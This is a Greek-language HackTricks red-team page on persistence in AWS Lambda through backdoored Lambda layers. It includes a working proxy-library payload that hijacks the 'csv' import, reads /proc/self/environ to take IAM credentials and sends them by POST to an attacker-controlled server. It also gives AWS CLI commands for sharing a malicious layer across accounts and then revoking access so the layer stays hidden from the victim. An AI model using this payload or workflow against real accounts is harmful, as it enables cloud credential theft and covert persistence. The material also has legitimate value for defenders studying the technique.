AWS - Lambda Layers Persistence

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Lambda Layers

Ένα Lambda layer είναι ένα αρχείο .zip που μπορεί να περιέχει επιπλέον κώδικα ή άλλο περιεχόμενο. Ένα layer μπορεί να περιέχει βιβλιοθήκες, ένα custom runtime, δεδομένα ή αρχεία ρυθμίσεων.

Είναι δυνατόν να συμπεριλάβετε έως πέντε layers ανά λειτουργία. Όταν συμπεριλαμβάνετε ένα layer σε μια λειτουργία, το περιεχόμενο εξάγεται στον φάκελο /opt στο περιβάλλον εκτέλεσης.

Κατά προεπιλογή, τα layers που δημιουργείτε είναι ιδιωτικά για τον λογαριασμό σας στο AWS. Μπορείτε να επιλέξετε να μοιραστείτε ένα layer με άλλους λογαριασμούς ή να κάνετε το layer δημόσιο. Εάν οι λειτουργίες σας καταναλώνουν ένα layer που δημοσίευσε διαφορετικός λογαριασμός, οι λειτουργίες σας μπορούν να συνεχίσουν να χρησιμοποιούν την έκδοση του layer μετά την διαγραφή του, ή μετά την ανάκληση της άδειας σας για πρόσβαση στο layer. Ωστόσο, δεν μπορείτε να δημιουργήσετε μια νέα λειτουργία ή να ενημερώσετε λειτουργίες χρησιμοποιώντας μια διαγραμμένη έκδοση layer.

Οι λειτουργίες που αναπτύσσονται ως εικόνα κοντέινερ δεν χρησιμοποιούν layers. Αντίθετα, συσκευάζετε το προτιμώμενο runtime, τις βιβλιοθήκες και άλλες εξαρτήσεις στην εικόνα κοντέινερ όταν δημιουργείτε την εικόνα.

Python load path

Η διαδρομή φόρτωσης που θα χρησιμοποιήσει η Python στο lambda είναι η εξής:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Ελέγξτε πώς οι δεύτερες και τρίτες θέσεις καταλαμβάνονται από καταλόγους όπου οι lambda layers αποσυμπιέζουν τα αρχεία τους: /opt/python/lib/python3.9/site-packages και /opt/python

Caution

Εάν ένας επιτιθέμενος καταφέρει να backdoor μια χρησιμοποιούμενη lambda layer ή προσθέσει μία που θα εκτελεί αυθαίρετο κώδικα όταν φορτώνεται μια κοινή βιβλιοθήκη, θα είναι σε θέση να εκτελεί κακόβουλο κώδικα με κάθε κλήση lambda.

Επομένως, οι απαιτήσεις είναι:

  • Ελέγξτε τις βιβλιοθήκες που είναι φορτωμένες από τον κώδικα των θυμάτων
  • Δημιουργήστε μια proxy βιβλιοθήκη με lambda layers που θα εκτελεί προσαρμοσμένο κώδικα και θα φορτώνει την αρχική βιβλιοθήκη.

Προφορτωμένες βιβλιοθήκες

Warning

Όταν καταχρώμαι αυτή την τεχνική, βρήκα μια δυσκολία: Ορισμένες βιβλιοθήκες είναι ήδη φορτωμένες στο runtime της python όταν εκτελείται ο κώδικάς σας. Περίμενα να βρω πράγματα όπως os ή sys, αλλά ακόμα και η βιβλιοθήκη json ήταν φορτωμένη.
Για να καταχραστεί αυτή την τεχνική επιμονής, ο κώδικας πρέπει να φορτώσει μια νέα βιβλιοθήκη που δεν είναι φορτωμένη όταν εκτελείται ο κώδικας.

Με έναν κώδικα python όπως αυτόν είναι δυνατόν να αποκτηθεί η λίστα των βιβλιοθηκών που είναι προφορτωμένες μέσα στο runtime της python στη lambda:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

Και αυτή είναι η λίστα (ελέγξτε ότι οι βιβλιοθήκες όπως os ή json είναι ήδη εκεί)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

Και αυτή είναι η λίστα με τις βιβλιοθήκες που περιλαμβάνει η lambda εγκατεστημένες από προεπιλογή: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Backdooring Lambda Layer

Σε αυτό το παράδειγμα ας υποθέσουμε ότι ο στοχευμένος κώδικας εισάγει csv. Θα backdoor-άρουμε την εισαγωγή της βιβλιοθήκης csv.

Για να το κάνουμε αυτό, θα δημιουργήσουμε τον φάκελο csv με το αρχείο __init__.py μέσα σε μια διαδρομή που φορτώνεται από τη lambda: /opt/python/lib/python3.9/site-packages
Έτσι, όταν η lambda εκτελείται και προσπαθεί να φορτώσει csv, το αρχείο __init__.py μας θα φορτωθεί και θα εκτελεστεί.
Αυτό το αρχείο πρέπει να:

  • Εκτελεί το payload μας
  • Φορτώνει την αρχική βιβλιοθήκη csv

Μπορούμε να κάνουμε και τα δύο με:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Στη συνέχεια, δημιουργήστε ένα zip με αυτόν τον κώδικα στη διαδρομή python/lib/python3.9/site-packages/__init__.py και προσθέστε το ως ένα lambda layer.

Μπορείτε να βρείτε αυτόν τον κώδικα στο https://github.com/carlospolop/LambdaLayerBackdoor

Το ενσωματωμένο payload θα στείλει τα IAM creds σε έναν διακομιστή ΤΗΝ ΠΡΩΤΗ ΦΟΡΑ που θα κληθεί ή ΜΕΤΑ από μια επαναφορά του κοντέινερ lambda (αλλαγή κώδικα ή κρύα lambda), αλλά άλλες τεχνικές όπως οι παρακάτω θα μπορούσαν επίσης να ενσωματωθούν:

AWS - Lambda Steal Requests

Εξωτερικά Layers

Σημειώστε ότι είναι δυνατό να χρησιμοποιήσετε lambda layers από εξωτερικούς λογαριασμούς. Επιπλέον, μια lambda μπορεί να χρησιμοποιήσει ένα layer από έναν εξωτερικό λογαριασμό ακόμη και αν δεν έχει δικαιώματα.
Επίσης, σημειώστε ότι ο μέγιστος αριθμός layers που μπορεί να έχει μια lambda είναι 5.

Επομένως, προκειμένου να βελτιωθεί η ευελιξία αυτής της τεχνικής, ένας επιτιθέμενος θα μπορούσε να:

  • Backdoor ένα υπάρχον layer του χρήστη (τίποτα δεν είναι εξωτερικό)
  • Δημιουργήσει ένα layer στον λογαριασμό του, να δώσει στον λογαριασμό του θύματος πρόσβαση για να χρησιμοποιήσει το layer, να ρυθμίσει το layer στη Lambda του θύματος και να αφαιρέσει την άδεια.
  • Η Lambda θα μπορεί ακόμα να χρησιμοποιεί το layer και το θύμα δεν θα έχει κανέναν εύκολο τρόπο να κατεβάσει τον κώδικα των layers (εκτός από το να αποκτήσει ένα rev shell μέσα στη lambda)
  • Το θύμα δεν θα δει εξωτερικά layers που χρησιμοποιούνται με aws lambda list-layers
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks